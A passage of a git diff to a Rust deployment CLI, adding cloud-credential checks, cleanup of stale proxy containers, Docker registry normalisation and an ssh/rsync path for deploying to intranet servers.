+                        );
+                    }
                     let project = match client.find_project_by_name(&project_name).await? {
                         Some(p) => {
                             eprintln!("  Found project '{}' (id={}), syncing metadata...", p.name, p.id);
@@ -525,7 +1077,20 @@ impl DeployStrategy for CloudDeploy {
                         }
                     };
 
+                    if should_run_managed_proxy_preflight(context, DeployTarget::Cloud) {
+                        cleanup_stale_managed_proxy_container(
+                            &client,
+                            project.id,
+                            DeployTarget::Cloud,
+                        )
+                        .await?;
+                    }
+
                     // Step 2: Resolve cloud credentials
+                    let provider_str = cloud_cfg.provider.to_string();
+                    let provider_code = provider_code_for_remote(&provider_str);
+                    let env_creds = resolve_remote_cloud_credentials(provider_code);
+
                     let cloud_id = if let Some(cid) = context.key_id_override {
                         // --key-id flag: look up by ID (server checks ownership)
                         eprintln!("  Looking up cloud credentials by id={}...", cid);
@@ -568,12 +1133,6 @@ impl DeployStrategy for CloudDeploy {
                                 }
                                 None => {
                                     // Try saving current env-var creds under this provider
-                                    let provider_str = cloud_cfg.provider.to_string();
-                                    let provider_code = provider_code_for_remote(
-                                        &provider_str,
-                                    );
-                                    let env_creds =
-                                        resolve_remote_cloud_credentials(provider_code);
                                     let cloud_token = env_creds
                                         .get("cloud_token")
                                         .and_then(|v| v.as_str());
@@ -609,8 +1168,9 @@ impl DeployStrategy for CloudDeploy {
                                         return Err(CliError::DeployFailed {
                                             target: DeployTarget::Cloud,
                                             reason: format!(
-                                                "Cloud key '{}' not found on server and no cloud credentials in env vars (STACKER_CLOUD_TOKEN, HCLOUD_TOKEN, etc.)",
-                                                key_ref
+                                                "Cloud key '{}' not found on server and no cloud credentials were found in env vars ({}).",
+                                                key_ref,
+                                                cloud_env::provider_env_summary(provider_code)
                                             ),
                                         });
                                     }
@@ -620,9 +1180,6 @@ impl DeployStrategy for CloudDeploy {
                     } else {
                         // No key specified: try to find existing cloud creds for this provider,
                         // or pass creds directly in deploy form from env vars
-                        let provider_str = cloud_cfg.provider.to_string();
-                        let provider_code =
-                            provider_code_for_remote(&provider_str);
                         match client.find_cloud_by_provider(provider_code).await? {
                             Some(c) => {
                                 eprintln!(
@@ -635,6 +1192,12 @@ impl DeployStrategy for CloudDeploy {
                         }
                     };
 
+                    ensure_remote_cloud_credentials_available(
+                        cloud_id,
+                        provider_code,
+                        &env_creds,
+                    )?;
+
                     // Step 3: Resolve server by name
                     let server_id = if let Some(srv_name) = &server_name {
                         eprintln!("  Looking up server '{}'...", srv_name);
@@ -662,7 +1225,18 @@ impl DeployStrategy for CloudDeploy {
                     };
 
                     // Step 4: Build deploy form
-                    let mut deploy_form = stacker_client::build_deploy_form(config);
+                    let mut deploy_form = stacker_client::build_deploy_form_with_options(
+                        config,
+                        stacker_client::DeployFormOptions {
+                            include_managed_proxy: context.managed_proxy_feature_enabled,
+                        },
+                    );
+                    if let Some(bundle) = &context.config_bundle {
+                        stacker_client::attach_config_bundle_to_deploy_form(
+                            &mut deploy_form,
+                            bundle,
+                        );
+                    }
 
                     // Capture the server name from the form (auto-generated or overridden)
                     // so we can persist it in the deployment lock even if the API fetch
@@ -696,10 +1270,6 @@ impl DeployStrategy for CloudDeploy {
 
                     // Include env-var cloud creds in form if no saved cloud
                     if cloud_id.is_none() {
-                        let provider_str = cloud_cfg.provider.to_string();
-                        let provider_code =
-                            provider_code_for_remote(&provider_str);
-                        let env_creds = resolve_remote_cloud_credentials(provider_code);
                         if let Some(cloud_obj) = deploy_form.get_mut("cloud") {
                             if let Some(obj) = cloud_obj.as_object_mut() {
                                 for (k, v) in &env_creds {
@@ -780,13 +1350,23 @@ impl DeployStrategy for CloudDeploy {
         let output = executor.execute("docker", &args_refs)?;
 
         if !output.success() {
+            let mut reason = format!("Install container failed: {}", output.stderr.trim());
+            let port_hints = detect_port_conflicts_in_output(&output.stderr, &output.stdout);
+            if !port_hints.is_empty() {
+                reason.push_str("\n\nPort conflict details:\n  • ");
+                reason.push_str(&port_hints.join("\n  • "));
+            }
             return Err(CliError::DeployFailed {
                 target: DeployTarget::Cloud,
-                reason: format!("Install container failed: {}", output.stderr.trim()),
+                reason,
             });
         }
 
-        let action_str = if context.dry_run { "plan completed" } else { "deployed" };
+        let action_str = if context.dry_run {
+            "plan completed"
+        } else {
+            "deployed"
+        };
         Ok(DeployResult {
             target: DeployTarget::Cloud,
             message: format!("Cloud deployment {}", action_str),
@@ -862,16 +1442,46 @@ fn normalize_user_service_base_url(raw: &str) -> String {
 /// Normalize the Stacker server URL from stored credentials.
 /// Strips trailing slashes and known auth path suffixes to get the base API URL.
 pub fn normalize_stacker_server_url(raw: &str) -> String {
-    let mut url = raw.trim_end_matches('/').to_string();
-    // Strip known auth endpoints that might be stored as server_url
-    for suffix in ["/oauth_server/token", "/auth/login", "/server/user/auth/login", "/login", "/api"] {
-        if url.ends_with(suffix) {
-            let len = url.len() - suffix.len();
-            url = url[..len].to_string();
-            break;
+    let trimmed = raw.trim().trim_end_matches('/');
+    if trimmed.is_empty() {
+        return stacker_client::DEFAULT_STACKER_URL.to_string();
+    }
+
+    if let Ok(mut url) = reqwest::Url::parse(trimmed) {
+        let path = url.path().trim_end_matches('/').to_string();
+        for suffix in [
+            "/api/v1",
+            "/oauth_server/token",
+            "/auth/login",
+            "/login",
+            "/api",
+        ] {
+            if path.ends_with(suffix) {
+                let normalized = path.trim_end_matches(suffix);
+                url.set_path(if normalized.is_empty() {
+                    "/"
+                } else {
+                    normalized
+                });
+                url.set_query(None);
+                url.set_fragment(None);
+                break;
+            }
         }
+
+        return url.to_string().trim_end_matches('/').to_string();
     }
-    url
+
+    trimmed.to_string()
+}
+
+fn resolve_saved_stacker_base_url(creds: &StoredCredentials) -> String {
+    normalize_stacker_server_url(
+        creds
+            .server_url
+            .as_deref()
+            .unwrap_or(stacker_client::DEFAULT_STACKER_URL),
+    )
 }
 
 #[allow(dead_code)]
@@ -915,70 +1525,48 @@ fn resolve_remote_cloud_credentials(provider: &str) -> serde_json::Map<String, s
 
     match provider {
         "htz" => {
-            if let Some(token) = first_non_empty_env(&[
-                "STACKER_CLOUD_TOKEN",
-                "STACKER_HETZNER_TOKEN",
-                "HETZNER_TOKEN",
-                "HCLOUD_TOKEN",
-            ]) {
+            if let Some(token) = first_non_empty_env(cloud_env::token_env_vars("htz")) {
                 creds.insert("cloud_token".to_string(), serde_json::Value::String(token));
             }
         }
         "do" => {
-            if let Some(token) = first_non_empty_env(&[
-                "STACKER_CLOUD_TOKEN",
-                "STACKER_DIGITALOCEAN_TOKEN",
-                "DIGITALOCEAN_TOKEN",
-                "DO_API_TOKEN",
-            ]) {
+            if let Some(token) = first_non_empty_env(cloud_env::token_env_vars("do")) {
                 creds.insert("cloud_token".to_string(), serde_json::Value::String(token));
             }
         }
         "lo" => {
-            if let Some(token) = first_non_empty_env(&[
-                "STACKER_CLOUD_TOKEN",
-                "STACKER_LINODE_TOKEN",
-                "LINODE_TOKEN",
-            ]) {
+            if let Some(token) = first_non_empty_env(cloud_env::token_env_vars("lo")) {
                 creds.insert("cloud_token".to_string(), serde_json::Value::String(token));
             }
         }
         "vu" => {
-            if let Some(token) = first_non_empty_env(&[
-                "STACKER_CLOUD_TOKEN",
-                "STACKER_VULTR_TOKEN",
-                "VULTR_TOKEN",
-                "VULTR_API_KEY",
-            ]) {
+            if let Some(token) = first_non_empty_env(cloud_env::token_env_vars("vu")) {
                 creds.insert("cloud_token".to_string(), serde_json::Value::String(token));
             }
         }
         "aws" => {
-            if let Some(key) = first_non_empty_env(&["STACKER_CLOUD_KEY", "AWS_ACCESS_KEY_ID"]) {
+            if let Some(key) = first_non_empty_env(cloud_env::key_env_vars("aws")) {
                 creds.insert("cloud_key".to_string(), serde_json::Value::String(key));
             }
-            if let Some(secret) =
-                first_non_empty_env(&["STACKER_CLOUD_SECRET", "AWS_SECRET_ACCESS_KEY"])
-            {
-                creds.insert("cloud_secret".to_string(), serde_json::Value::String(secret));
+            if let Some(secret) = first_non_empty_env(cloud_env::secret_env_vars("aws")) {
+                creds.insert(
+                    "cloud_secret".to_string(),
+                    serde_json::Value::String(secret),
+                );
             }
         }
         "cnt" => {
             // Contabo uses four credentials: OAuth2 client_id/secret + API user/password.
-            if let Some(v) = first_non_empty_env(&["STACKER_CONTABO_CLIENT_ID", "CNT_CLIENT_ID"]) {
+            if let Some(v) = first_non_empty_env(cloud_env::CONTABO_CLIENT_ID_ENV_VARS) {
                 creds.insert("cloud_key".to_string(), serde_json::Value::String(v));
             }
-            if let Some(v) =
-                first_non_empty_env(&["STACKER_CONTABO_CLIENT_SECRET", "CNT_CLIENT_SECRET"])
-            {
+            if let Some(v) = first_non_empty_env(cloud_env::CONTABO_CLIENT_SECRET_ENV_VARS) {
                 creds.insert("cloud_token".to_string(), serde_json::Value::String(v));
             }
-            if let Some(v) = first_non_empty_env(&["STACKER_CONTABO_API_USER", "CNT_API_USER"]) {
+            if let Some(v) = first_non_empty_env(cloud_env::CONTABO_API_USER_ENV_VARS) {
                 creds.insert("cloud_user".to_string(), serde_json::Value::String(v));
             }
-            if let Some(v) =
-                first_non_empty_env(&["STACKER_CONTABO_API_PASSWORD", "CNT_API_PASSWORD"])
-            {
+            if let Some(v) = first_non_empty_env(cloud_env::CONTABO_API_PASSWORD_ENV_VARS) {
                 creds.insert("cloud_password".to_string(), serde_json::Value::String(v));
             }
         }
@@ -988,6 +1576,264 @@ fn resolve_remote_cloud_credentials(provider: &str) -> serde_json::Map<String, s
     creds
 }
 
+fn ensure_remote_cloud_credentials_available(
+    cloud_id: Option<i32>,
+    provider: &str,
+    env_creds: &serde_json::Map<String, serde_json::Value>,
+) -> Result<(), CliError> {
+    if cloud_id.is_some() || !env_creds.is_empty() {
+        return Ok(());
+    }
+
+    let hint = cloud_env::provider_missing_credentials_hint(provider);
+
+    Err(CliError::DeployFailed {
+        target: DeployTarget::Cloud,
+        reason: format!(
+            "No saved cloud credentials were found for provider '{}', and no provider credentials were found in the environment. {}",
+            provider, hint
+        ),
+    })
+}
+
+fn stale_managed_proxy_container_names(
+    containers: &[serde_json::Value],
+    app_code: &str,
+) -> Vec<String> {
+    let normalized_code = crate::project_app::normalize_app_code(app_code);
+    containers
+        .iter()
+        .filter_map(|container| {
+            let name = container.get("name").and_then(|value| value.as_str())?;
+            let normalized_name = crate::project_app::normalize_app_code(name);
+            let image = container
+                .get("image")
+                .and_then(|value| value.as_str())
+                .unwrap_or_default()
+                .to_lowercase();
+
+            let is_project_scoped = normalized_name.starts_with("project_")
+                && normalized_name.contains(&normalized_code);
+            let is_duplicate_npm_image =
+                image.contains("nginx-proxy-manager") && normalized_name != normalized_code;
+
+            if is_project_scoped || is_duplicate_npm_image {
+                Some(name.to_string())
+            } else {
+                None
+            }
+        })
+        .collect()
+}
+
+fn stale_managed_proxy_app_codes(
+    project_apps: &[stacker_client::ProjectAppInfo],
+    app_code: &str,
+) -> Vec<String> {
+    let normalized_code = crate::project_app::normalize_app_code(app_code);
+    project_apps
+        .iter()
+        .filter(|app| {
+            crate::project_app::normalize_app_code(&app.code) == normalized_code
+                || crate::project_app::normalize_app_code(&app.name) == normalized_code
+        })
+        .map(|app| app.code.clone())
+        .collect()
+}
+
+async fn wait_for_agent_command_completion(
+    client: &StackerClient,
+    deployment_hash: &str,
+    command_id: &str,
+    timeout_secs: u64,
+    target: DeployTarget,
+) -> Result<stacker_client::AgentCommandInfo, CliError> {
+    let deadline = tokio::time::Instant::now() + std::time::Duration::from_secs(timeout_secs);
+    let interval = std::time::Duration::from_secs(2);
+    let mut last_status = "pending".to_string();
+
+    loop {
+        tokio::time::sleep(interval).await;
+
+        if tokio::time::Instant::now() >= deadline {
+            return Err(CliError::DeployFailed {
+                target,
+                reason: format!(
+                    "Timed out waiting for cleanup command '{}' on deployment '{}' (last status: {})",
+                    command_id, deployment_hash, last_status
+                ),
+            });
+        }
+
+        let status = client
+            .agent_command_status(deployment_hash, command_id)
+            .await?;
+        last_status = status.status.clone();
+
+        match status.status.as_str() {
+            "completed" | "failed" => return Ok(status),
+            _ => continue,
+        }
+    }
+}
+
+async fn fetch_live_containers(
+    client: &StackerClient,
+    deployment_hash: &str,
+    target: DeployTarget,
+) -> Result<Vec<serde_json::Value>, CliError> {
+    let params = crate::forms::status_panel::ListContainersCommandRequest {
+        include_health: true,
+        include_logs: false,
+        log_lines: 10,
+    };
+    let request = stacker_client::AgentEnqueueRequest::new(deployment_hash, "list_containers")
+        .with_parameters(&params)
+        .map_err(|error| {
+            CliError::ConfigValidation(format!("Invalid list_containers parameters: {}", error))
+        })?;
+
+    let completed = client
+        .agent_poll_result(&request, 120, 2)
+        .await
+        .map_err(|err| match err {
+            CliError::AgentCommandTimeout {
+                ref last_status,
+                ref deployment_hash,
+                ..
+            } if last_status == "queued" => CliError::AgentNotFound {
+                deployment_hash: deployment_hash.clone(),
+            },
+            other => other,
+        })?;
+    if completed.status != "completed" {
+        let detail = completed
+            .error
+            .map(|value| value.to_string())
+            .unwrap_or_else(|| "unknown error".to_string());
+        return Err(CliError::DeployFailed {
+            target,
+            reason: format!("Failed to fetch live containers before deploy: {}", detail),
+        });
+    }
+
+    Ok(completed
+        .result
+        .and_then(|result| {
+            result
+                .get("containers")
+                .and_then(|value| value.as_array())
+                .cloned()
+        })
+        .unwrap_or_default())
+}
+
+async fn cleanup_stale_managed_proxy_container(
+    client: &StackerClient,
+    project_id: i32,
+    target: DeployTarget,
+) -> Result<bool, CliError> {
+    let project_apps = client.list_project_apps(project_id).await?;
+    let stale_project_app_codes =
+        stale_managed_proxy_app_codes(&project_apps, "nginx_proxy_manager");
+    let deployment = client.get_deployment_status_by_project(project_id).await?;
+    let stale_container_names = if let Some(deployment) = deployment.as_ref() {
+        match fetch_live_containers(client, &deployment.deployment_hash, target).await {
+            Ok(containers) => {
+                stale_managed_proxy_container_names(&containers, "nginx_proxy_manager")
+            }
+            Err(CliError::AgentNotFound { .. }) => Vec::new(),
+            Err(error) => return Err(error),
+        }
+    } else {
+        Vec::new()
+    };
+
+    if stale_project_app_codes.is_empty() && stale_container_names.is_empty() {
+        return Ok(false);
+    }
+
+    if !stale_project_app_codes.is_empty() {
+        eprintln!(
+            "  Found stale managed proxy app registrations ({}); deleting them before deploy...",
+            stale_project_app_codes.join(", ")
+        );
+        for app_code in &stale_project_app_codes {
+            client
+                .delete_project_app(
+                    project_id,
+                    app_code,
+                    deployment
+                        .as_ref()
+                        .map(|value| value.deployment_hash.as_str()),
+                )
+                .await?;
+        }
+    }
+
+    if stale_container_names.is_empty() {
+        eprintln!("  Removed stale managed nginx_proxy_manager project state");
+        return Ok(true);
+    }
+
+    let Some(deployment) = deployment else {
+        eprintln!("  Removed stale managed nginx_proxy_manager project state");
+        return Ok(true);
+    };
+
+    eprintln!(
+        "  Found stale managed proxy containers on deployment '{}': {}; removing them before managed proxy restart...",
+        deployment.deployment_hash,
+        stale_container_names.join(", ")
+    );
+
+    for container_name in &stale_container_names {
+        let params = crate::forms::status_panel::RemoveAppCommandRequest {
+            app_code: container_name.clone(),
+            delete_config: false,
+            remove_volumes: false,
+            remove_image: false,
+        };
+        let request =
+            stacker_client::AgentEnqueueRequest::new(&deployment.deployment_hash, "remove_app")
+                .with_parameters(&params)
+                .map_err(|error| {
+                    CliError::ConfigValidation(format!("Invalid cleanup parameters: {}", error))
+                })?;
+
+        let enqueued = client.agent_enqueue(&request).await?;
+        let completed = wait_for_agent_command_completion(
+            client,
+            &deployment.deployment_hash,
+            &enqueued.command_id,
+            120,
+            target,
+        )
+        .await?;
+
+        if completed.status != "completed" {
+            let detail = completed
+                .error
+                .map(|value| value.to_string())
+                .unwrap_or_else(|| "unknown error".to_string());
+            return Err(CliError::DeployFailed {
+                target,
+                reason: format!(
+                    "Failed to remove stale managed proxy container '{}' before deploy: {}",
+                    container_name, detail
+                ),
+            });
+        }
+    }
+
+    if !stale_project_app_codes.is_empty() {
+        eprintln!("  Removed stale managed nginx_proxy_manager project state and containers");
+    } else {
+        eprintln!("  Removed stale managed nginx_proxy_manager containers");
+    }
+    Ok(true)
+}
+
 /// Resolve Docker registry credentials from the stacker.yml `deploy.registry` section
 /// and/or environment variables. Env vars override config values (same pattern as cloud_token).
 ///
@@ -999,25 +1845,24 @@ pub(crate) fn resolve_docker_registry_credentials(
     let registry = config.deploy.registry.as_ref();
 
     // Username: env var > config
-    let username = first_non_empty_env(&[
-        "STACKER_DOCKER_USERNAME",
-        "DOCKER_USERNAME",
-    ])
-    .or_else(|| registry.and_then(|r| r.username.clone()));
+    let username = first_non_empty_env(&["STACKER_DOCKER_USERNAME", "DOCKER_USERNAME"])
+        .or_else(|| registry.and_then(|r| r.username.clone()));
 
     // Password: env var > config
-    let password = first_non_empty_env(&[
-        "STACKER_DOCKER_PASSWORD",
-        "DOCKER_PASSWORD",
-    ])
-    .or_else(|| registry.and_then(|r| r.password.clone()));
+    let password = first_non_empty_env(&["STACKER_DOCKER_PASSWORD", "DOCKER_PASSWORD"])
+        .or_else(|| registry.and_then(|r| r.password.clone()));
 
     // Registry server: env var > config > default "docker.io"
-    let server = first_non_empty_env(&[
-        "STACKER_DOCKER_REGISTRY",
-        "DOCKER_REGISTRY",
-    ])
-    .or_else(|| registry.and_then(|r| r.server.clone()));
+    let server = first_non_empty_env(&["STACKER_DOCKER_REGISTRY", "DOCKER_REGISTRY"])
+        .or_else(|| registry.and_then(|r| r.server.clone()))
+        .or_else(|| {
+            if username.is_some() || password.is_some() {
+                Some("docker.io".to_string())
+            } else {
+                None
+            }
+        })
+        .map(canonicalize_registry_server);
 
     if let Some(u) = username {
         creds.insert("docker_username".to_string(), serde_json::Value::String(u));
@@ -1027,19 +1872,51 @@ pub(crate) fn resolve_docker_registry_credentials(
     }
     if let Some(s) = server {
         creds.insert("docker_registry".to_string(), serde_json::Value::String(s));
+    } else {
+        // Always send docker_registry so the install service overrides any
+        // regional Vault defaults (e.g. Aliyun) with Docker Hub (empty string).
+        creds.insert(
+            "docker_registry".to_string(),
+            serde_json::Value::String(String::new()),
+        );
     }
 
     creds
 }
 
+fn canonicalize_registry_server(server: String) -> String {
+    let trimmed = server.trim().trim_end_matches('/').to_string();
+    let lower = trimmed.to_ascii_lowercase();
+
+    if lower == "docker.io"
+        || lower == "hub.docker.com"
+        || lower == "index.docker.io"
+        || lower == "registry-1.docker.io"
+        || lower == "https://docker.io"
+        || lower == "https://hub.docker.com"
+        || lower == "https://index.docker.io"
+        || lower == "https://index.docker.io/v1"
+        || lower == "https://index.docker.io/v1/"
+        || lower == "https://registry-1.docker.io"
+    {
+        "docker.io".to_string()
+    } else {
+        trimmed
+    }
+}
+
 #[allow(dead_code)]
 fn build_remote_deploy_payload(config: &StackerConfig) -> serde_json::Value {
     let cloud = config.deploy.cloud.as_ref();
     let provider = cloud
         .map(|c| provider_code_for_remote(&c.provider.to_string()).to_string())
         .unwrap_or_else(|| "htz".to_string());
-    let region = cloud.and_then(|c| c.region.clone()).unwrap_or_else(|| "nbg1".to_string());
-    let server = cloud.and_then(|c| c.size.clone()).unwrap_or_else(|| "cpx11".to_string());
+    let region = cloud
+        .and_then(|c| c.region.clone())
+        .unwrap_or_else(|| "nbg1".to_string());
+    let server = cloud
+        .and_then(|c| c.size.clone())
+        .unwrap_or_else(|| "cx23".to_string());
     let stack_code = config
         .project
         .identity
@@ -1048,8 +1925,8 @@ fn build_remote_deploy_payload(config: &StackerConfig) -> serde_json::Value {
         .filter(|v| !v.is_empty())
         .unwrap_or_else(|| "custom-stack".to_string());
     let os = match provider.as_str() {
-        "do" => "docker-20-04",  // DigitalOcean marketplace image with Docker pre-installed
-        "htz" => "docker-ce",    // Hetzner snapshot with Docker CE pre-installed (Ubuntu 24.04)
+        "do" => "docker-20-04", // DigitalOcean marketplace image with Docker pre-installed
+        "htz" => "docker-ce",   // Hetzner snapshot with Docker CE pre-installed (Ubuntu 24.04)
         "cnt" => "ubuntu-22.04", // Contabo: standard Ubuntu image
         _ => "ubuntu-22.04",
     };
@@ -1109,12 +1986,7 @@ fn validate_remote_deploy_payload(payload: &serde_json::Value) -> Result<(), Cli
                 if key == "subscriptions" && !v.is_array() {
                     missing.push("subscriptions(array)");
                 }
-                if key == "stack_code"
-                    && v
-                        .as_str()
-                        .map(|s| s.trim().is_empty())
-                        .unwrap_or(true)
-                {
+                if key == "stack_code" && v.as_str().map(|s| s.trim().is_empty()).unwrap_or(true) {
                     missing.push("stack_code(non-empty)");
                 }
             }
@@ -1123,10 +1995,7 @@ fn validate_remote_deploy_payload(payload: &serde_json::Value) -> Result<(), Cli
     }
 
     if !missing.is_empty() {
-        let identity_hint = if missing
-            .iter()
-            .any(|item| item.contains("stack_code"))
-        {
+        let identity_hint = if missing.iter().any(|item| item.contains("stack_code")) {
             " stack_code defaults to 'custom-stack'. Optionally set project.identity in stacker.yml to a registered catalog stack code."
         } else {
             ""
@@ -1202,7 +2071,10 @@ fn validate_remote_deploy_payload(payload: &serde_json::Value) -> Result<(), Cli
 }
 
 #[allow(dead_code)]
-fn persist_remote_payload_snapshot(project_dir: &Path, payload: &serde_json::Value) -> Option<PathBuf> {
+fn persist_remote_payload_snapshot(
+    project_dir: &Path,
+    payload: &serde_json::Value,
+) -> Option<PathBuf> {
     let stacker_dir = project_dir.join(".stacker");
     let snapshot_path = stacker_dir.join("remote-payload.last.json");
 
@@ -1218,7 +2090,10 @@ fn persist_remote_payload_snapshot(project_dir: &Path, payload: &serde_json::Val
     let payload_str = match serde_json::to_string_pretty(payload) {
         Ok(s) => s,
         Err(err) => {
-            eprintln!("Warning: failed to serialize remote payload snapshot: {}", err);
+            eprintln!(
+                "Warning: failed to serialize remote payload snapshot: {}",
+                err
+            );
             return None;
         }
     };
@@ -1241,54 +2116,519 @@ fn persist_remote_payload_snapshot(project_dir: &Path, payload: &serde_json::Val
 
 pub struct ServerDeploy;
 
-impl DeployStrategy for ServerDeploy {
-    fn validate(&self, config: &StackerConfig) -> Result<(), CliError> {
-        if config.deploy.server.is_none() {
-            return Err(CliError::ServerHostMissing);
-        }
-
-        Ok(())
+/// Deploy to an intranet server directly from the CLI using the system `ssh`/`rsync`.
+///
+/// The Stacker cloud install service cannot reach private-IP servers, so this
+/// path bypasses it entirely:
+///   1. `rsync` the project directory to `~/stacker/<project>/` on the remote
+///   2. `docker compose up -d --build` on the remote
+///
+/// The home-directory path avoids any permission issues — the SSH user can always
+/// write there without sudo.  Falls back to `tar+ssh` if `rsync` is not found.
+fn deploy_to_intranet_server(
+    config: &StackerConfig,
+    context: &DeployContext,
+    server_cfg: &crate::cli::config_parser::ServerConfig,
+) -> Result<DeployResult, CliError> {
+    let project_name = context
+        .project_name_override
+        .clone()
+        .or_else(|| config.project.identity.clone())
+        .filter(|s| !s.trim().is_empty())
+        .unwrap_or_else(|| config.name.clone());
+
+    let ssh_key_path = server_cfg
+        .ssh_key
+        .as_ref()
+        .map(|p| {
+            let s = p.to_string_lossy();
+            if s.starts_with("~/") {
+                let home = std::env::var("HOME").unwrap_or_else(|_| ".".to_string());
+                std::path::PathBuf::from(home).join(&s[2..])
+            } else {
+                p.clone()
+            }
+        })
+        .ok_or_else(|| {
+            CliError::ConfigValidation(
+                "deploy.server.ssh_key is required for intranet server deploy.\n\
+                 Set it in stacker.yml: deploy.server.ssh_key: ~/.ssh/id_ed25519"
+                    .to_string(),
+            )
+        })?;
+
+    if !ssh_key_path.exists() {
+        return Err(CliError::ConfigValidation(format!(
+            "SSH key not found: {}",
+            ssh_key_path.display()
+        )));
     }
 
-    fn deploy(
-        &self,
-        config: &StackerConfig,
-        context: &DeployContext,
-        executor: &dyn CommandExecutor,
-    ) -> Result<DeployResult, CliError> {
-        let action = if context.dry_run {
-            InstallAction::Plan
-        } else {
-            InstallAction::Apply
-        };
+    // Use ~/stacker/<project> so the SSH user can write without sudo.
+    // The shell expands ~ on the remote, so no hardcoded home path needed.
+    let remote_dir = format!("$HOME/stacker/{}", project_name);
+    let user_at_host = format!("{}@{}", server_cfg.user, server_cfg.host);
+    let ssh_args = [
+        "-i",
+        ssh_key_path.to_str().unwrap_or(""),
+        "-p",
+        &server_cfg.port.to_string(),
+        "-o",
+        "StrictHostKeyChecking=no",
+        "-o",
+        "BatchMode=yes",
+    ];
 
-        let cmd = InstallContainerCommand::from_config(config, context, action);
-        let args = cmd.build_args();
-        let args_refs: Vec<&str> = args.iter().map(|s| s.as_str()).collect();
+    // 1. Resolve the remote home directory so rsync gets an absolute path.
+    let remote_home = {
+        let out = std::process::Command::new("ssh")
+            .args(&ssh_args)
+            .arg(&user_at_host)
+            .arg("echo $HOME")
+            .output()
+            .map_err(|e| CliError::DeployFailed {
+                target: DeployTarget::Server,
+                reason: format!("Failed to run ssh: {}", e),
+            })?;
+        String::from_utf8_lossy(&out.stdout).trim().to_string()
+    };
 
-        let output = executor.execute("docker", &args_refs)?;
+    let remote_dir_abs = if remote_home.is_empty() {
+        // Fallback: keep the $HOME token; mkdir/compose will still expand it
+        remote_dir.clone()
+    } else {
+        format!("{}/stacker/{}", remote_home, project_name)
+    };
 
-        if !output.success() {
+    eprintln!("  Creating remote directory {}...", remote_dir_abs);
+    let mkdir_status = std::process::Command::new("ssh")
+        .args(&ssh_args)
+        .arg(&user_at_host)
+        .arg(format!("mkdir -p {}", remote_dir_abs))
+        .status()
+        .map_err(|e| CliError::DeployFailed {
+            target: DeployTarget::Server,
+            reason: format!("Failed to run ssh: {}", e),
+        })?;
+
+    if !mkdir_status.success() {
+        return Err(CliError::DeployFailed {
+            target: DeployTarget::Server,
+            reason: format!(
+                "Could not create remote directory {}.\n\
+                 Check that the SSH user '{}' has write access to their home directory.",
+                remote_dir_abs, server_cfg.user
+            ),
+        });
+    }
+
+    // 2. Sync project files to remote (rsync preferred, tar+ssh fallback)
+    let project_src = format!("{}/", context.project_dir.display());
+    let remote_dest = format!("{}:{}/", user_at_host, remote_dir_abs);
+    let rsync_ssh_opt = format!(
+        "ssh -i {} -p {} -o StrictHostKeyChecking=no -o BatchMode=yes",
+        ssh_key_path.display(),
+        server_cfg.port
+    );
+    let rsync_excludes = &[
+        "--exclude=.git",
+        "--exclude=target",
+        "--exclude=node_modules",
+    ];
+
+    eprintln!("  Syncing project files to {}...", user_at_host);
+    let rsync_available = std::process::Command::new("rsync")
+        .arg("--version")
+        .output()
+        .map(|o| o.status.success())
+        .unwrap_or(false);
+
+    if rsync_available {
+        let mut rsync = std::process::Command::new("rsync");
+        rsync
+            .arg("-az")
+            .arg("--progress")
+            .args(rsync_excludes)
+            .arg("-e")
+            .arg(&rsync_ssh_opt)
+            .arg(&project_src)
+            .arg(&remote_dest);
+
+        let status = rsync.status().map_err(|e| CliError::DeployFailed {
+            target: DeployTarget::Server,
+            reason: format!("rsync failed: {}", e),
+        })?;
+        if !status.success() {
+            return Err(CliError::DeployFailed {
+                target: DeployTarget::Server,
+                reason: "rsync exited with error — check SSH key and server connectivity"
+                    .to_string(),
+            });
+        }
+    } else {
+        // Fallback: tar over SSH (pipe tar → ssh, no shell -c to avoid injection)
+        eprintln!("  (rsync not found, using tar+ssh fallback)");
+        let mut tar_child = std::process::Command::new("tar")
+            .arg("czf")
+            .arg("-")
+            .arg("--exclude=.git")
+            .arg("--exclude=target")
+            .arg("--exclude=node_modules")
+            .arg("-C")
+            .arg(context.project_dir.as_os_str())
+            .arg(".")
+            .stdout(std::process::Stdio::piped())
+            .spawn()
+            .map_err(|e| CliError::DeployFailed {
+                target: DeployTarget::Server,
+                reason: format!("tar failed: {}", e),
+            })?;
+
+        let tar_stdout = tar_child
+            .stdout
+            .take()
+            .ok_or_else(|| CliError::DeployFailed {
+                target: DeployTarget::Server,
+                reason: "Could not capture tar stdout".to_string(),
+            })?;
+
+        let ssh_status = std::process::Command::new("ssh")
+            .args(&ssh_args)
+            .arg(&user_at_host)
+            .arg(format!("tar xzf - -C {}", remote_dir_abs))
+            .stdin(tar_stdout)
+            .status()
+            .map_err(|e| CliError::DeployFailed {
+                target: DeployTarget::Server,
+                reason: format!("ssh (tar extract) failed: {}", e),
+            })?;
+
+        // Reap the tar child
+        let tar_status = tar_child.wait().map_err(|e| CliError::DeployFailed {
+            target: DeployTarget::Server,
+            reason: format!("tar wait failed: {}", e),
+        })?;
+
+        if !ssh_status.success() || !tar_status.success() {
             return Err(CliError::DeployFailed {
                 target: DeployTarget::Server,
-                reason: format!("Server deployment failed: {}", output.stderr.trim()),
+                reason: "tar+ssh transfer failed — check SSH key and server connectivity"
+                    .to_string(),
             });
         }
+    }
+
+    // 3. Pre-flight: check remote port availability before docker compose up.
+    //    This catches "port is already allocated" errors before they become
+    //    opaque Docker daemon failures on the remote server.
+    let remote_ssh_args = [
+        "-i",
+        ssh_key_path.to_str().unwrap_or(""),
+        "-p",
+        &server_cfg.port.to_string(),
+        "-o",
+        "StrictHostKeyChecking=no",
+        "-o",
+        "BatchMode=yes",
+    ];
+    let port_conflicts =
+        check_remote_host_port_conflicts(&context.compose_path, &user_at_host, &remote_ssh_args);
+    if !port_conflicts.is_empty() {
+        return Err(CliError::DeployFailed {
+            target: DeployTarget::Server,
+            reason: format_preflight_port_conflicts(
+                &format!("remote server {}", server_cfg.host),
+                &port_conflicts,
+            ),
+        });
+    }
 
-        let server_host = config
+    let compose_file = context
+        .compose_path
+        .strip_prefix(&context.project_dir)
+        .unwrap_or(&context.compose_path)
+        .display()
+        .to_string();
+
+    let compose_cmd = format!(
+        "cd {} && docker compose -f {} up -d --build 2>&1",
+        remote_dir_abs, compose_file
+    );
+
+    eprintln!("  Running docker compose on {}...", server_cfg.host);
+    let output = std::process::Command::new("ssh")
+        .args(&ssh_args)
+        .arg(&user_at_host)
+        .arg(&compose_cmd)
+        .output()
+        .map_err(|e| CliError::DeployFailed {
+            target: DeployTarget::Server,
